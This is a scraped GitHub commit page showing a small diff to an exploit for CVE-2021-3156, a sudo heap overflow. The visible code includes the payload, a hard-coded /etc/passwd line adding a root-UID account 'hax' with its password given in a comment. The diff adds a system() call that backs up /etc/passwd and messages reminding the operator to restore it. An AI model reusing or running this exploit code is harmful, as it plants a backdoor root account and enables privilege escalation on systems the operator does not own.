Skip to content

Commit f657b9d

Browse files
authored
Update exploit.c
1 parent e4f9db1 commit f657b9d

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

CVE-2021-3156/exploit.c

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,7 @@ char * get_user() {
6666
const char * contents = "\n\nhax:$6$q4tutskpH4.ezGv9$/R6eIP3viVO4oIds5WIqZPN5bQYT/Z1w9s6q6jw.6bO3FTohiFD1L1Jk9EhQdLiv1MeZOCF71PB41dTI2eV3C1:0:0:hax:/root:/bin/bash\n\n"; // password: hax
6767

6868
int main(void) {
69+
system("cp /etc/passwd /tmp/passwd_bak");
6970
size_t initial_size = get_passwd_size();
7071
char * basedir_name = get_random_string(0x20);
7172

@@ -94,7 +95,8 @@ int main(void) {
9495
waitpid(pid, 0, 0);
9596

9697
if(get_passwd_size() != initial_size) {
97-
puts("Success!");
98+
puts("[+] Success!");
99+
puts("Make sure to copy back /etc/passwd from /tmp/passwd_bak!");
98100
exit(0);
99101
}
100102
}

0 commit comments

Comments
 (0)